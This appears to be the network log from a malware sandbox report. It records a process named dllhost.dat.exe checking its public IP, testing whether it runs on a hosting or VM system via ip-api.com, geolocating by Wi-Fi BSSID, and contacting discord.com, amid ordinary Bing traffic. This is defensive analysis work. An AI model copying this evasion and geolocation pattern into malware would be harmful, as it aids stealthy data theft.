                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP/2.0 204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cache-control: no-cache, must-revalidate
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  pragma: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  expires: Fri, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  set-cookie: MUID=3018F4D10EF76C1E196AE0690FD06D32; domain=.bing.com; expires=Mon, 04-Aug-2025 23:43:41 GMT; path=/; SameSite=None; Secure; Priority=High;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  access-control-allow-origin: *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  x-cache: CONFIG_NOCACHE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  x-msedge-ref: Ref A: 703833BEFE3E4A118FE1208B7FBA46D1 Ref B: LON04EDGE0714 Ref C: 2024-07-10T23:43:41Z
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  date: Wed, 10 Jul 2024 23:43:41 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  204.79.197.237:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid= HTTP/2.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  host: g.bing.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  accept-encoding: gzip, deflate
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  user-agent: WindowsShellClient/9.0.40929.0 (Windows)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cookie: MUID=3018F4D10EF76C1E196AE0690FD06D32
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP/2.0 204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cache-control: no-cache, must-revalidate
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  pragma: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  expires: Fri, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  set-cookie: MSPTC=7dg1REcK-xJ39gsv5bq4FBXbzoaQjvq3oDPj-rfSJ2A; domain=.bing.com; expires=Mon, 04-Aug-2025 23:43:42 GMT; path=/; Partitioned; secure; SameSite=None
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  access-control-allow-origin: *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  x-cache: CONFIG_NOCACHE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  x-msedge-ref: Ref A: 3FC8AEFC4C5A4A3C99C8C92B7D8E729B Ref B: LON04EDGE0714 Ref C: 2024-07-10T23:43:42Z
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  date: Wed, 10 Jul 2024 23:43:41 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  204.79.197.237:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid= HTTP/2.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  host: g.bing.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  accept-encoding: gzip, deflate
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  user-agent: WindowsShellClient/9.0.40929.0 (Windows)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cookie: MUID=3018F4D10EF76C1E196AE0690FD06D32; MSPTC=7dg1REcK-xJ39gsv5bq4FBXbzoaQjvq3oDPj-rfSJ2A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP/2.0 204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cache-control: no-cache, must-revalidate
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  pragma: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  expires: Fri, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  access-control-allow-origin: *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  x-cache: CONFIG_NOCACHE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  x-msedge-ref: Ref A: 5C2AEC902B5445C881321BD0675D6638 Ref B: LON04EDGE0714 Ref C: 2024-07-10T23:43:42Z
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  date: Wed, 10 Jul 2024 23:43:41 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dnsgoogle
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  67.31.126.40.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  67.31.126.40.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  101.210.23.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  101.210.23.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  101.210.23.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  a2-23-210-101deploystaticakamaitechnologiescom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  237.197.79.204.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  237.197.79.204.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  26.35.223.20.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  26.35.223.20.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  21.221.185.147.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  21.221.185.147.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  86.23.85.13.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  86.23.85.13.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  206.23.85.13.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  206.23.85.13.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  99.58.20.217.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  99.58.20.217.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  icanhazip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  icanhazip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  icanhazip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  104.16.185.241
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  icanhazip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  104.16.184.241
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  http://icanhazip.com/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  104.16.185.241:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET / HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Host: icanhazip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Date: Wed, 10 Jul 2024 23:44:29 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Length: 14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Access-Control-Allow-Methods: GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Set-Cookie: __cf_bm=A5OtGr9QCIJzijeJ4LoVbYNSY4Q6APKoQ.zpKbgdgcw-1720655069-1.0.1.1-48A4MN02msvLAcARZCIBabydoH70b.S82ov89hPs5CE.UbKLh82dx4rGQDHdHnugBwooJuuqUgFK1JUhWTUPRw; path=/; expires=Thu, 11-Jul-24 00:14:29 GMT; domain=.icanhazip.com; HttpOnly
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  CF-RAY: 8a146c0668bd23bb-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  http://icanhazip.com/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  104.16.185.241:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET / HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Host: icanhazip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Date: Wed, 10 Jul 2024 23:44:32 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Length: 14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Access-Control-Allow-Methods: GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Set-Cookie: __cf_bm=G59NX6p2yU6DFtue2r0H.xwh_ZYUQrXeamu3YbY5ao8-1720655072-1.0.1.1-etdppQ65dNtNjYJPO5UzCEqtarAomcKZlFr8XtmnOPu3USZTNmcPrn35jtvRlbrFz80B0obVoKZ3Jc.GEV1oLg; path=/; expires=Thu, 11-Jul-24 00:14:32 GMT; domain=.icanhazip.com; HttpOnly
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  CF-RAY: 8a146c19b90f23bb-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  241.185.16.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  241.185.16.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ip-api.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ip-api.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ip-api.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  208.95.112.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  http://ip-api.com/line/?fields=hosting
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  208.95.112.1:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET /line/?fields=hosting HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Host: ip-api.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Date: Wed, 10 Jul 2024 23:44:30 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Length: 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  X-Ttl: 60
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  X-Rl: 44
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.112.95.208.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.112.95.208.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.112.95.208.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ip-apicom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  api.mylnikov.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  api.mylnikov.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  api.mylnikov.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  172.67.196.114
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  api.mylnikov.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  104.21.44.66
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=46:47:65:7c:a1:d4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  172.67.196.114:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET /geolocation/wifi?v=1.1&bssid=46:47:65:7c:a1:d4 HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Host: api.mylnikov.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Date: Wed, 10 Jul 2024 23:44:32 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Type: application/json; charset=utf8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Length: 88
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Cache-Control: max-age=2678400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  CF-Cache-Status: MISS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Last-Modified: Wed, 10 Jul 2024 23:44:32 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oZQdkawY5x663cwovTuw4a%2FJYkscrDbfbSEC5FoHN05uD9DgBifZPui21zIpRBZlZ4%2Fz0%2FMDrLNPQNYZBAaaLlQsqXvyblNhZ77%2B2KvhK4zyHuEqnCGYikAjr0Io4KtKSiLq"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Strict-Transport-Security: max-age=0; preload
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  CF-RAY: 8a146c1bac709563-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  114.196.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  114.196.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  discord.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  discord.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  discord.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  162.159.136.232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  discord.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  162.159.135.232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  discord.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  162.159.128.233
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  discord.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  162.159.137.232
